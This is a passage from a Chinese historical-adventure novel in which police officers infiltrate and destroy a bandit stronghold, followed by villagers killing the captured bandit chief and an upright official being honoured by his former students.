愚走到门口,喃喃地说:“希望毛小他们行动能够顺利……” 午后,火辣辣的太阳炙烤着沂蒙大地。两个赤裸上身、汗流浃背的彪形大汉挑着扁担从南边接近了龟蒙峪。走在前面的汉子在阴凉处放下挑子,回身说:“侯宗,歇歇再走。”后面被叫侯宗的大汉跟上来,也搁下了担子,拿手巾擦了擦汗,又从扁担筐里拿出个水葫芦,揭开盖子喝了几口,递给同伴说:“刘戈,咋还不见土匪呢?”刘戈饮了几口水,说道:“快了,马上就到那片水洼了。到了这儿可不敢乱说话,露了馅咱俩都得死。”侯宗呵呵一笑说:“刘哥放心,你别看俺长得魁实,俺可不笨。不然,队长也不能挑中咱俩。”他拍了拍箩筐,又说:“这里的半袋子麦种,就是咱活命的本钱。”刘戈又喝了两口水,说道:“兄弟,把你的那套词在肚子里再过几遍,咱们得做的比真的还真才行。”侯宗笑嘻嘻地说:“刘戈,你就瞧好吧。咱俩祖上都是平邑人,俺老家就是温水镇的,保证说得圆。这回,毛队长用的是俺家的地窖,要在俺家门口灭贼,俺不卖力气,谁卖力气?”刘戈压低声音说:“说得对。蔡三这个无赖,祸害了蒙阴,又想来平邑耍威风,他错打了算盘。咱这几天就叫他根屁着凉。一会儿上了山,俺就扮那傻的,你演聪明的,得把那帮贼糊弄个结实。”侯宗笑了笑说:“从现在开始,你就是半傻子了,啥都得听俺的。把葫芦放下,走,上路,进贼窝。” 第二十八回2 智取龟蒙峪 两个人挑着担子又往前走了二里多地,突然听到一声呼哨。紧跟着,从石头后面跳出来十几个手持刀斧的山贼。为首的贼寇用刀尖一指,喝令道:“站住。此山是我开,此树是我栽,要想从此过,留下买路财。今儿个,碰上爷爷,算你们倒霉。说吧,想怎么死。”侯、刘二人先是一惊。而后,侯宗扔下挑子,冲着众贼一抱拳说:“各位英雄,别误会,俺们是来入伙的。”刘戈也憨声憨气地说:“兄弟们,俺们都是自己人。”一个小贼跳过来,抬手就给了刘戈两巴掌,张口骂道:“他妈的,谁跟你是自己人。大爷是蔡大王的手下,套什么近乎。”说着,这贼又在刘戈屁股上狠狠踢了一脚,并说:“你俩赶快挑个地儿,想死哪儿?”侯宗赶紧过来,作揖说:“别别别,各位英雄,俺们真的是来入伙的。为表诚意,俺们还带的有粮食咧。”众贼寇听到“粮食”二字,一个个惊喜地眼冒绿光。一个小贼跑上前,伸手就往箩筐里探。刘戈刚想制止他,就听那贼惨叫一声,原地跳了起来,还抖着手说:“啥玩意咬我呀?”刘戈赶紧过去,抓住那贼的手,用力给他排着毒,说:“哎呀,这咋弄咧。幸亏蝎子小,死不了。粮食在那头的筐里,这边都是些破烂。”站在前面的贼头说道:“三愣子,看看筐里有没有粮食。二圈儿,把狗剩扶到一边。”被叫三愣子的小贼答应一声,上前用刀尖小心地挑开了箩筐上的东西。当看到布袋里面真的有几十斤麦子时,他兴奋地喊道:“六爷,真的是粮食啊!”侯宗掀开自己的挑担说:“俺这儿也有,是送给弟兄们的见面礼。俺们真是来入伙的呀。”刘戈拿出装蝎子的小木盒,嘿嘿笑着说:“还好,没跑,下酒,好吃。你们谁是当家的?”那贼头问道:“你俩是哪儿的?以前做什么的?”侯宗一抱拳说:“各位头领,俺叫侯宗,他叫刘戈,原是平邑县大财主邓万财家的伙计,专门替邓家粮行押运粮食的,前后干了有五六年。这邓家忒不是东西,就会欺负人。尤其是他家的粮行掌柜,天天克扣俺们的钱。今年大旱,他狗日的还要辞了俺们。这叫俺们咋活?俺们弟兄一气之下就打折了那家伙的腿,抢了粮食,跑进山里。求弟兄们给引荐引荐,让俺们有个活路。”那位六爷又打量了二人一番,歪着脑袋问另一个贼:“长脚,你们平邑有邓万财这一号吗?”被叫长脚的贼回答道:“六爷,那是平邑最大的财主,家里有的是钱。俺当初到他家粮行耍混,还被那掌柜放狗咬过咧。咱寨子里平邑的弟兄不多,好像段老龟也给邓万财扛过活,确实受了不少气。”贼头的脸色缓和了好多,说道:“既然这样,俺就帮帮你们弟兄。俺是山上的六寨主。你俩以后就叫俺六爷。”刘戈和侯宗赶紧趴到地上,一边磕头一边说:“多谢六爷。谢六爷收留。”那位六爷又说:“见面礼俺收了。蒙上他们的眼,带着他们去见大哥。” 第二十八回3 智取龟蒙峪 刘、侯二人被众贼押着去往山寨。这一切全被躲在远处的姚凯看了个清清楚楚。姚凯笑了笑,自言自语道:“这俩小子还真行。我得赶紧回去,给队长报信。”然后,他便顺着原路向南退去。 傍晚的时候,刘、侯二人被带到了一间草房前。那位六爷先进屋向蔡三等贼头说明了情况。又过了好一会儿,从草房里钻出六七个面目凶恶、敞胸露怀的男人。为首一人身高过丈,体态魁梧,脸上有条瘆人的伤疤,一双小眼四处瞟动,透着阴险和狡黠。这个男人先坐到凳子上,又命小喽罗在屋前燃起了几支火把,这才叫人把刘戈和侯宗推过来,给他们解开绑绳和眼罩。刘、侯二人正在模糊间,就听有贼喝道:“跪下,上面是俺们大寨主。”二人揉了揉眼睛,认了认方位,上前给蔡三跪下说:“小人见过大寨主和各位英雄。”蔡三盯着二人看了一会儿,说道:“你们为啥要入伙呀?”侯宗就把事先编好的说辞讲述了一遍。刘戈还不时地插话补充。蔡三眼睛转了转,突然问道:“胡说,谁派你们来的?”刘戈憨憨地说:“谁胡说了。什么,谁派的。”候宗也磕了个头说:“俺们就是没活路了,才来投靠寨主爷的。”蔡三又说:“还装,俺看你们的身板就象是官军。来人,给俺拉到一边砍了。”几个小贼听令后,往上就冲,侯宗大叫着冤枉,刘戈埋怨着不该来投奔。在小贼们抓住刘戈的时候,刘戈突然一挣,冲到蔡三面前,骂道:“妈的,老子能领你们去抢粮库,可你们这帮龟蛋要杀老子。老子做鬼也放不过你们!”后面的侯宗也似突然想起了什么,大声喊道:“大寨主,俺们知道邓万财的粮食藏在哪儿。俺们可以找到很多粮食。”蔡三听了这话,身子一振,赶忙喝止住手下说:“慢着,你们说什么?”刘戈气乎乎地说道:“死就死,说什么说。”蔡三换上一副笑脸说道:“二位兄弟,别见怪。本寨主是吓吓你们。你们刚才说知道邓万财的粮食藏在哪儿。只要你们说出来,俺不但收留你们,还会重用你们。”刘戈仍然气乎乎地说:“大寨主耍弄人,没诚意。”侯宗上来捅了捅刘戈,陪着笑对蔡三说:“大寨主,俺哥哥就是这脾气。俺们替邓万财押了多年的粮,知道他的底细。俺能带你们去抢了这老狗日的。”蔡三哈哈大笑道:“你们弟兄俺喜欢,俺就收了你们。不过,要想在这山寨里混,你们还真得纳个投名状来。”蔡三转头对旁边说:“黑子,你先领着刘兄弟去休息,不要亏待。”他见刘戈迟愣,就解释说:“这是二当家的,还不赶紧见礼。”刘戈装做很高兴地样子,给黑子磕了个头,又傻乎乎地问道:“那俺兄弟咋弄咧?”蔡三笑笑说:“你先去,本大王自有安排。”待黑子领着刘戈下去,蔡三对侯宗说:“侯老弟,既然你俩现已入伙,那就是自家人。本大王想让你今夜就去弄点粮食来,你不会推辞吧?”侯宗抱拳说:“大寨主吩咐,侯宗愿意去。”蔡三坐直了些,又说:“好,爽快。那么侯兄弟准备去哪儿干这一票呢?”侯宗向左右看了看,又向前凑了两步,压低声音说:“大寨主不知,那邓万财身在县城,可他的粮食却有一半藏在温水镇。那里离咱这儿可不算远呐。”蔡三非常吃惊地说:“真的吗?那个镇子俺们都打劫过好几次了。邓家在镇上的粮栈早就空了。现在估计镇子里连个人都没有了吧。”侯宗微微一笑说:“老财主藏东西,外人怎么会知道呢?大寨主,侯宗愿意带着弟兄们去一趟。”蔡三站起身,拍了拍侯宗的肩膀说:“好小子,真要是弄来了粮食,本大王亏待不了你。季老六,这兄弟是你带回来的,俺就把他安排到你手下。今天晚上,你辛苦辛苦,带着弟兄们跟着侯宗去干一票。” 第二十八回4 智取龟蒙峪 凌晨时分,一支几十人的队伍接近了死气沉沉的温水镇。侯宗手举着火把,走在队伍的最前面。他转身对后面轻声喊道:“弟兄们小心,快到地方了。”旁边的季老六吃吃笑着说:“自打官军走了之后,这方圆百十里都是咱哥们的天下,怕什么?”侯宗陪着笑说:“六爷说的对。不过,咱是来弄粮食的,最好别出岔子。”季老六点点头说:“行,就凭你小子这句话,将来指定有出息。”跟在后面的二圈儿不服气地说:“什么出息。要是弄到了粮食,他跟俺们一样。要是出了差错,他兄弟今天晚上就得掉脑袋。侯宗,你小子放明白点,俺们寨子里扣着你兄弟,别他妈耍花活。这一票人里,跟大寨主亲近的除了六爷,就属你二圈儿爷啦。”侯宗觉得能从这个人嘴里套出不少信息,就笑嘻嘻地说:“是是是,二圈儿爷说的有理。小人初来乍到,以后还请二圈儿爷多多关照。俺在路上确实听弟兄们说,咱这山寨里除了大寨主和八位寨主外,还有十三太保和四十八位拜把头领,您也是头领之一。”二圈儿听了这话,心里挺美,说道:“算你小子识相。以后跟着六爷和二圈儿爷,没你小子的亏吃……” 众贼在侯宗的引导下,摸到了镇子里的邓记粮栈前。季老六指着黑黢黢的房子说:“这儿墙也倒了,门也没了,还能藏粮食?”侯宗一摆手说:“跟俺来。”说完,他就将众贼带到了粮栈旁边更加破败的一处院落。贼人们看着杂草丛生的空地,面面相觑。季老六在候宗屁股上踢了一脚,骂道:“这儿他妈哪儿有粮!你小子敢耍弄老子!”侯宗故做紧张状,说道:“六爷,确实在这儿,你们来。”说完,侯宗举着火把走进草丛,开始四处踅摸。很快,他便在草皮下面找到了一个铁环。侯宗对贼寇们说:“就是这儿,大伙先让让。”侯宗把火把插在地上,双手拽住铁环用力一提,一块盖板便被移开了一条缝。众贼眼前一亮,纷纷上来,帮着把盖板搬到了一边。原来,那盖板下藏着一个地洞的入口。侯宗领着两个小贼跳进洞中,又用钢刀撬开洞门上的锁头,走了进去。不大的功夫,一个小贼兴奋地跑出来报告说:“六爷,里面全是粮!整包整包的稻米,一筐一筐的麦子,金黄金黄的小米,可是不少咧!”季老六等贼头也纷纷跳进地洞查看。待上来后,季老六拍着侯宗说:“侯老弟,你可立了大功了。哥哥回去一定在大寨主面前替你说好话。”侯宗看看天,说道:“六爷,天可快亮了,咱就这几十个人,可搬不了几袋粮,您看咋办咧?”季老六想了想,吩咐道:“长脚,你叫弟兄们先扛上,这个,扛上五六包粮食,咱们运回去。”长脚答应着,带人下去搬粮了。季老六又说道:“二圈儿,三愣子,你们带着俩弟兄留下,看着咱的粮。我们叫人去,今天晚上再过来。你们可把粮食看好了,这比命还金贵咧……” 第二十八回5 智取龟蒙峪 在镇子外的坡地上,毛小带着十几个队长和巡长正在观察贼人的动静。眼看几十个贼寇抬着粮食兴高采烈地走远了,毛小嘿嘿笑着说:“大队山贼今天必来。你们看,侯宗家的院子里还有火光,料想他们应该留下了人。姚凯、丁宁,你们带几个人悄悄摸过去,把那几个小蟊贼擒来。”姚凯和丁宁轻声应诺,到坡下点了些警巡去抓贼寇。毛小又把众人聚拢过来,命令道:“弟兄们,大战就在今日。刘戈和侯宗已经完成了诱敌的任务,我想,那蔡三今天晚些时候必会派出重兵前来运粮。咱们就按照预定方案,由伍名带领一百五十人在永安庄伏击贼寇。而我率领一百人前出到坦埠岭,佯装成运粮回寨的土匪,杀进贼寇的巢穴。在这次战斗中,大伙一定要记住,只惩元凶,从者不问。只要能摘下蔡三的脑袋,其他的人我们统统可以放过。”警巡们轻声应诺,一个个摩拳擦掌,显得相当亢奋。 天大亮的时候,毛小在坡地前集合了队伍。此时,姚凯和丁宁押着四个贼寇也回来了。姚凯用刀背抽打着一个土匪的屁股,嘴里奚落着:“你个死二圈儿,还跟我动手,让你四肢挂彩是轻的,下回,我直接砍折了你的狗腿。就你这两下子还当头领呢?给本巡长倒尿壶都不配……”毛小见状,开口问道:“都解决了吗?”丁宁答道:“全都抓了活口,一共四个人。”姚凯也说:“这小子叫二圈儿,是个小头领,刚才还想跟我比划比划,被我扎了四个眼儿,这下老实了。”毛小向前走了几步,来到几个土匪面前,说道:“听着,抓你们的是济南的警巡队长毛小。现在,我们宋启愚大人已经率领五千警巡包围了你们的山寨。你们这些土匪的末日到了。”四个贼早已吓得魂飞魄散。他们趴在地上,不住地磕头,讨要活命。毛小缓和了一下语气说:“我也知道,你们尚有天良,不是真心为匪,前些时,我也答应了蒙阴的乡亲要把你们救回去。现在,我就问问你们。你们是想回蒙阴做农民呢,还是想继续当土匪呢?”几个贼涕泪横流地哀求道:“俺们愿做农民呀。要不是实在没活路了,俺们咋会造反咧。”三愣子还指着二圈儿说:“都是这帮坏种,他们逼着俺给他们当喽罗,要是不从就杀全家。他们还霸占了俺们的家产,抢了俺的姐姐。”二圈儿急忙摆手争辩说:“队长爷爷,你别听他瞎咧咧。俺也是被蔡三那王八蛋给逼的。俺跟他们可不是一条心啊。”毛小喝道:“本队长是可以放你们一条生路,但前提是你们必须配合我抓住蔡三等匪首。另外,我还告诉你们,我们宋启愚大人已经弹劾了屠杀蒙阴百姓的马健东、屈震等**。我们是要为蒙阴的老百姓报仇的。”四个土匪听了这话,大瞪着眼睛看着眼前的年轻人。三愣子用手布拉了一把脸,问道:“将军说的可是真话?”毛小仰头答道:“在大是大非面前,我毛小从不说谎。”三愣子向前跪爬几步,扑到毛小脚边,哭着说:“将军若真能为我的家人和乡亲报仇,俺就是粉身碎骨也认了!将军有什么事就吩咐吧。”其他几个贼也表示了相同的意愿。毛小说了声好,转身宣讲道:“列位警巡弟兄,古语说‘养兵千日,用兵一时’。我等蒙宋大人栽培,受蒙阴百姓重托,为国效命,为民除害的当口就在今日。我希望你们不惧困难,不怕牺牲,奋勇杀敌,建立功勋。我也希望你们保卫百姓,维护正义,处处留心,安全回来。现在,我命令,各队出发,按预定方案,剿灭叛匪。”伍名喊了一声“全队都有,跟我来。”便带着一队警巡出发了。毛小又转身对姚凯说:“他们四个交给你,跟着我去龟蒙峪。” 第二十八回6 智取龟蒙峪 午后,季老六和侯宗等人搬着一千多斤粮食终于回到了沂蒙山。蔡三亲自带着几位寨主从山寨里迎了出来。蔡三满脸堆笑地拉住侯宗的手说:“侯兄弟一路辛苦,快随我进寨休息,正经的酒是没有了,不过咱这儿有蒙山茶呀。”他又见刘戈站在黑子身后,便又假装亲热地过去拉住刘戈,高高兴兴地回了寨子。蔡三命人端上茶饭分给众人吃,又详细询问了路上的经过。季老六等土匪为了表功,还添油加醋、绘声绘色地描述了一通。整间草房内,土匪们大说大笑,吹牛行令,非常热闹。 吃罢了饭,蔡三收起笑容,说道:“侯兄弟这次立了大功,俺准备重重地赏他。这寨子里现有九位寨主,就让侯兄弟做十寨主,不知道大伙是不是同意?”黑子等人马上附和道:“大哥说的有理,确实该赏侯兄弟。”刘戈突然冒出一句:“大寨主,俺兄弟做了十寨主,那俺做七寨主还是八寨主呀?”蔡三哈哈大笑说:“刘兄弟莫急,只要你立了功,本大王也赏你。”侯宗嘻嘻一笑说:“大寨主,咱不是还要去温水镇拉粮食吗?俺跟俺哥哥都去,回来后,这功劳就算俺俩人的。你到那时候再封赏俺们,也不迟。”蔡三想了想说:“侯兄弟跑了两天一夜,太辛苦了,不能再叫你去了。这回换刘兄弟去。黑子。”二寨主答了个在。蔡三接着说:“你带着老三、老四、老五和老八领上一千弟兄下山去,今夜就把那一窖粮食都运回来。推几辆独轮车,把那两挂大车也拉上,这些粮够咱山上吃用几个月的了。”几个贼头答应一声,拉上刘戈就出门去了。蔡三淫荡地一笑说:“老七,先带着侯兄弟去眯一会儿。等醒了,大哥给你们找上十几个娘们,让侯兄弟也快活快活。” 酉末时分,埋伏在永安庄残垣断壁之间的伍名收到警巡报告说,贼寇即将到来。伍名命令道:“准备。一会儿听到哨音就发动进攻。” 这时候的刘戈正在跟贼头们有说有笑地往前走。他到贼营虽然只有一天,但凭借着傻头傻脑、不招人厌的做派,已跟贼头们混得很熟。大队人马到了永安庄,刘戈对周围几个贼说:“二当家的,赵哥,咱歇会儿呗,离得也不远了。”黑子等人走得也挺累,便下令说:“歇会,歇会。等拿到了粮食,先给弟兄们做顿饱的,让大伙也解解馋。”等别人都坐下了,刘戈又特意把三、四两位寨主也拉到自己身边,并开始描述邓万财家的煎饼有多香。他还拔出刀来,比划着切肉、切葱、卷饼的动作,引得贼寇们口水直流。就在这时,只听村边传来一声长哨。紧跟着,从各个残垣、断壁、树髁、土堆后面冲出了无数手持钢刀的勇猛战士。伍名一马当先蹿入敌阵,左右挥刀就坎翻了两个手执兵刃的土匪。他大声叫道:“放下兵器者免死!”其他警巡也从各个位置杀了进来,每个人都高喊着“放下兵器者免死”的话。 第二十八回7 智取龟蒙峪 土匪的队伍一下子乱成了一团。黑子等贼头见势不妙,刚要起身组织抵抗。就见刘戈手起刀落,又左右一划拉,便将黑子和另外两个寨主砍倒在地。刘戈过去把黑子的人头砍下,高举过顶,厉声喊喝:“匪首已除,人头在此。有不怕死的,尽管上来!”伍名又命警巡们高喊“我们是济南府的警巡队,只杀蔡三和抵抗的土匪。二当家的已死,凡跪下投降者免罪。”很快,这千把土匪除了被杀的几十人外,全都老老实实地跪地投降。伍名又命土匪们把剩下的几个贼头指认出来,捆上交专人看管。接下来,伍名把队伍分成两部分,由康恩带着五十人留下照顾伤员、清理战场,并将被俘的土匪押回温水镇。剩下的近百人则由伍名率领,进山增援毛小。 天擦黑的时候,毛小的队伍运着几十包稻草来到了匪寨门前。姚凯拔出刀来,顶住二圈的腰说:“你小子老实点,过去叫门。”二圈不敢迟慢,哆嗦着走上前,喊道:“门前是哪位弟兄站岗啊?俺是二圈呀。快开门,俺们把粮食运回来了。”木栅栏后面的小贼探出脑袋说:“二圈,今天是九寨主当值,俺们这就去通报。”三愣子跨前一步,骂道:“他妈的,通报什么通报,老子运这些个粮食累得要死,快把门打开。有本事,你不吃粮啊。”另两个被俘的小贼也起哄说:“派俺们运粮可是大寨主的命令,九爷敢放个屁。”正在乱哄哄的时候,一个贼头走过来,说道:“确定是寨上的人就开门吧。不过,刚才谁骂俺来着?”守门的小贼一边开门,一边指着外面说:“九爷,就是他们几个。”那位九爷领着几个喽罗兵迈步过来,抬手就给了二圈几个嘴巴,骂道:“你们几个活腻味了,敢骂老子……”他还想继续打别人,却突然觉得不对。他指着毛小等人质问道:“你们是谁,俺怎么没……”他“见过”俩字还没说出来,姚凯一刀就扎透了他的胸膛。紧跟着,毛小挥刀斩杀了两个喽罗,高喊道:“弟兄们,冲啊!”一百名警巡犹如猛虎一般就杀进了匪寨。 这时,那个蔡三正在草房子里款待侯宗。为了拉拢侯宗,他刚刚还亲自到百姓住的营区挑选了二十个女人。蔡三先搂着两个女子回了座位,淫笑着对侯宗说:“十弟,大哥这儿的女人,你随便挑,啥样的都有。要是这些你还看不上眼,就叫老七带着你再去选。咱这营里抓了八九百女人咧,以后有你快活的。”侯宗看着这些衣不蔽体,骨瘦如柴的女子,心里暗骂这些土匪不是人,但脸上还是笑嘻嘻的。他上前拉了三个眉目清秀的女人回座,又把食物分给她们吃。陪在一旁的老七咯咯笑着说:“十弟一看就没咋玩过娘们。对女人不能太好,你看俺的。”这小子跑到女人堆里,用手在每个屁股上拧了一把,又揪住两个女人亲了几口,无耻地说:“老弟,听听,这叫声多叫人兴奋。六哥,你也来教教十弟吗!”说着,他夹住两个女人就往座上拖。 第二十八回8 智取龟蒙峪 就在这时,外面传来了喊杀声。一个小贼慌慌张张地跑进草房报告道:“大,大,大寨主,不好了,官军杀进来了。”蔡三一把推开身边的女人,跳起来命令道:“老六、老七、老十,抄家伙,带着十三太保去抵挡一阵。”旋即,他好像突然想明白了,冷笑一声说:“原来,你是官军的探子。来人,剁了他。”侯宗抢先扑到兵器架子前,随手抄起一把朴刀,怒吼道:“蔡三畜生,你作恶多端,罪不容赦,俺今天就要替蒙阴百姓取你性命。”蔡三等人这会儿也急了眼。他们各拿兵刃一起向侯宗发动了进攻。侯宗不愧是武艺精熟的英雄。他挥舞着大刀左挡右杀,前劈后刺,硬是跟七八个贼头战成了一片。可是,双拳难敌四手,好汉架不住人多,侯宗渐渐落了下风。一个没留神,侯宗的胳膊就被贼人划了个口子,鲜血顺着手臂淌了下来。蔡三利用这个空当,悄悄退到众贼身后,飞身跳出窗户,就要逃跑。说来也巧,蔡三跳出的窗户下面放了好几个恭桶和尿壶,里面还有不少秽物。蔡三一脚踩翻了恭桶,一脚踩烂了尿壶,他自己也站立不稳,摔了个四仰八叉。他被屎尿溅了一身,腿上还被碎陶片扎了几下。蔡三顾不得疼,更顾不上臭。他挣扎着爬起来就往山上跑。 这时候,丁宁领着两个警巡已经冲进了草房。他抬手一刀剁翻了一个贼头,大叫道:“你们被包围了,拿命来。”侯宗见救兵已到,顿时来了精神,挥舞着大刀冲进了敌阵。转眼间,他又砍杀了两个贼头。老七见势不妙,对季老六喊:“六哥,风紧,撤呼。”两贼会意,夺路而逃。可刚出房门,迎面就碰上了毛小。毛小挥刀斩了季老六,又猛抽了老七一刀背,将这小子生擒。后面上来的警巡又拿下了剩下的贼头。毛小揪住老七,怒问道:“给我指出来,那个是蔡三。”这老七还想立立万。毛小用刀尖在他胳膊上挑了两下,喝道:“敢在我面前耍无赖,我活刮了你。”老七一下子泄了气,哀求道:“爷爷饶命,蔡三刚才就跑了,肯定上山了。”毛小对身边的警巡们说:“赶紧追,绝对不能让他跑掉。” 天到三更,伍名带着增援部队也赶到了龟蒙峪。毛小有些焦急地说:“已经找了小半个时辰,还没抓住这个匪首。有这个蔡三在,蒙阴就别想太平。这回,我亲自去搜,一定得拿住他。”可事与愿违,警巡们又寻找了将近一个时辰,仍然没有看见蔡三的影子。这下,毛小可真急了。他把攻取山寨后门的姚凯等几个警巡和三愣子等投降的土匪以及侯宗、丁宁等人全都叫过来,详细询问了刚才的情况,确认没有人从寨内逃出。他又提审了老七等贼头,确定山上没有暗道。毛小咬着牙说:“这个狡猾的蔡三,祸害了那么多人,要是叫他跑了,我没法向蒙阴的老百姓交代,我也没脸去见宋大人。今夜,我就是挖地三尺也得把这家伙给挖出来。” 那么,毛小是否能够抓获蔡三呢?他能替蒙阴的百姓主持公道吗?欲知后事如何,且看下文分解。 第二十九回1 天道昭昭 寅时,刘戈凑近毛小说:“队长,咱们这么搜只能让蔡三躲得更严实,不如来个外松内紧。表面上叫弟兄们都歇了,在暗处留下警哨。现在离天亮也就有个把时辰,如果这小子还在寨内,他肯定想在天亮之前脱身。只要他稍有动作,咱们就能把他抠出来。”毛小一寻思,觉得有道理,立即让刘戈去安排暗哨,而叫伍名沿着山寨的栅栏墙大声通知警巡们原地休息。 这招果然灵验,仅仅过了小半个时辰,一个鬼祟的身影便从山寨东北角的粪坑爬了出来。他揩了揩脸上的粪水,贴着地向寨墙爬去。他躲在一块山石后面,抬眼向四外看了看。从他的小眼睛和脸上的伤疤可以认出,此人正是蔡三。他估摸了一下寨墙的高度,突然起身,猛跑几步,奋力一跃,又用脚狠蹬了一下木墙,竟真的攀住了寨墙的顶端。紧接着,他使出吃奶的力气,向上一蹿,双腿登上了墙头。就在他越出木墙的一刹那,有人吹响了警哨,还有人高喊道:“在这儿呢。别让他跑了。”很快,毛小和伍名带着几十名警巡就从山寨里冲了出来。毛小在后面喝道:“蔡三,你跑不了啦,你的末日到了。”在寨墙外,也有三名警巡从树丛后面站了起来,一步一步逼近了这个贼头。蔡三见前后均是敌手,自己又手无寸铁,正焦急间,一眼望见寨前的那汪清水,便不顾一切地扎进了潭中。 追到潭边的伍名冷笑一声说:“到了水里要是叫你给跑了,我们这些泡在汉江里长大的襄阳娃还不得被人笑话死。姚凯,跟我下去,灌饱了他。”说完,他扔下刀,一个猛子就扎进了水里。那蔡三虽然会几下狗刨,仗着身高体壮也扑腾到了水潭中央,但他跟伍名和姚凯比,显然不在一个等次上。伍名泅到蔡三身下,一捅他的肋骨,这小子就只剩下喝水了。不大的功夫,蔡三被武、姚二人灌了个肚子溜圆。伍名象拖死狗一样,把这家伙拽上岸。毛小先命人把蔡三捆扎结实,才叫警巡们给他控水抢救。 天光渐亮的时候,毛小命候宗等人用昨天运回来的粮食熬了粥,分给被解救的老百姓吃。看着这些曾经可以被任意宰杀、肆意蹂躏、无情虐待的男人和女人,警巡们对土匪的恨意鼓胀到了极点。毛小令人把蔡三、老七等贼头绑在他们原先折磨别人用的木桩上,向老百姓宣示道:“蒙阴的乡亲们,这几个人曾经霸占过你们的田宅,斩杀过你们的亲族,糟蹋过你们的身子,奴役过你们的躯体。天道昭昭,天网恢恢,这些恶贯满盈的无赖终于要伏法了。今天,我代表济南知府宋启愚大人宣判这些人死刑。”蔡三使劲挣扎着喊道:“冤枉啊!不公平!俺就是强占了几家的田产、女人,俺可没有杀那么多人呀。你们这些当官的,不敢惩治官军,就会拿俺们这等小鱼小虾出气。你们欺软怕硬!你们官官相护!俺不服!” 第二十九回2 天道昭昭 毛小冷笑道:“我就知道你会垂死挣扎。我告诉你,我们宋大人已经弹劾了滦州镇守使马健东和济南镇守使屈震。朝廷不日就会对这些**进行惩戒。至于你在蒙阴所犯下的罪行,我前些时做的都有笔录。别的且不说,田大叔家的十三口是不是你杀的?东城孙家是不是你屠的?岳庄那几十条人命是不是该算到你的头上?还有这下面的百姓哪个不对你恨之入骨?你罪大恶极,必当明正典刑。”旁边的老七艮着头喊道:“将军饶命啊!俺们虽然罪恶深重,但也该请位大人升堂问明再做处置吧!哪能现在就杀呢?”毛小轻笑一声,充满蔑视地说:“你不就是想多活几天吗?别做白日梦了!朝廷律法有规定,但凡谋反者,可不经审讯就地正法。我毛小就是要用这种决绝的方式还蒙阴百姓一个公道。”说完,毛小抽出腰刀,几步走到蔡三跟前,“咔嚓”一声砍断了这个巨匪的脚筋。然后,他转身对百姓和小贼们说:“乡亲们,老天知道你们苦,老天知道你们恨。现在,我把这几个恶棍交给你们。你们报仇的时候到了!”一千多百姓嗷嗷叫着扑到了木桩前,他们把满腔的愤怒通过牙齿、拳头、腿脚、指甲报复在这些贼人身上。转眼间,这些曾经耀武扬威的混蛋都化成了一滩滩血肉模糊的污迹。 当天下午,宋启愚会见完至圣公,刚从孔府出来,就见唐明渊等十名文生排成两行,恭恭敬敬地过来给他行礼。欧阳亮带头喊道:“学生给老师问安。”宋启愚赶紧用双手搀扶他们说:“襄阳一别已有两年,大伙不必多礼,都起来吧。”没想到,这十名学生起身后,倒退了几步,又二次跪倒。唐明渊朗声说:“学生们代表襄阳和丹阳百姓问候宋大人。”宋启愚还了一躬说:“不敢当,乡亲们的深情厚谊宋某永世不忘。各位快请起。”唐明渊等人又磕了个头说:“请先生站稳。我等还要替灾区的百姓叩谢宋大人救助之恩。自去年地震及旱灾以来,遍观北方各地,表面上爱民、救民、赈灾、济困的官员并不少见,但真正能保障地方,出民水火的官员却只有大人一人。特别是这次,您能不惜得罪同僚,不顾个人前程,弹劾恶官**,还蒙阴百姓公道。这样的节操,实在令后学钦佩之至。故此,我等今日才三拜先生,表心中敬意。”宋启愚很是感动。他上前一位一位扶起这十名学生,说道:“王寅虎请起。崔俊睿请起。唐明渊请起。欧阳亮请起……诸位过奖了,宋某只是做了自己分内的事情,没有什么值得称道的。更何况,我做得并不好,仍然有大批百姓无辜受戮。”王寅虎又施了一躬说:“老师太过谦虚。我等以前囿在学中,不知天下人的苦楚。此次北上,正遇荒年,见淮河以北赤地千里,饿殍遍野;更见官员横征,恶吏暴敛,各地百姓苦不堪言。遥想当年襄阳之繁荣,又听说如今济南之太平,方知老师治郡艰难。”唐明渊也作了个揖说:“是啊,老师。您当年给俺们讲‘灭门的七品县令’这句话,俺们当初并不完全理解。经此游学,我等现在终于认知了人性的善恶,明白了不受监管的权力究竟有多么可怕。”宋启愚微微笑了笑说:“读万卷书,不如行万里路。列位都是青年才俊,将来的前途不可限量。但你们一定要记住,天道不可违,百姓不可欺。你们可不能做那恣意妄为的无耻恶官啊。”十个学生全都一躬到地,庄重地说:“谨遵老师教诲。”宋启愚又一手拉住唐明渊,一手拉住欧阳亮,说道:“上次我叫天锡给你们送的粮食、用度都够使吗?吕世法和周邦彦好像还瘦了不少吗,学习虽苦,也得注意身体才是。今天都跟我回馆驿。为师招待你们吃顿好的。”众学生也都喜笑颜开,跟着宋启愚向牌坊外走去。整饬马匹的申鲤见大人回来,忙跑上前,打千行礼问:“大人,公爷可愿与您联名上折?”宋启愚点点头说:“公爷承至德,奉大道,自然不会坐视天下人受苦。公爷已经答应单独上折弹劾马健东等人。公爷还特赐午宴,以褒奖我为民请命的义举。” 第二十九回3 天道昭昭 有了至圣公的助力,同泰帝对军队在平叛中滥杀无辜的行为给予了严旨申斥。对燕热宣慰使张洪涛不予记功,罚银一千两。降滦州镇守使马健东为平州镇守副使,罚银五千两。免去济南镇守使屈震职务。另外,锁拿滦州军中都尉级军官十人,锁拿济南城防军中都尉级军官五人交由山东巡抚单宏波按律治罪。 到了八月初,朝廷向蒙阴新派了知县。宋启愚随命令毛小率领最后一批警巡撤回济南。在警巡队拔营起寨的时候,全蒙阴的老百姓都哭着前来给毛小等人送行。百姓们对这支队伍依依不舍,跟在警巡队后,直走出十多里,才长跪于地,目送毛小的队伍离开。 其后的一段时间,宋启愚继续加强治安、保障秩序,奖励农耕、恢复生产,鼓励商人、积极贸易,发展作坊、振兴经济,济南城很快便充满了活力。济南的特产鲁绣、阿胶、小件铁器等等也成为了畅销各地的优质产品。宋启愚又联合至圣公和山东巡抚单宏波、淮北巡抚魏柄忠等人上书皇帝,请求朝廷修善《青黄法》,保护老百姓的利益。 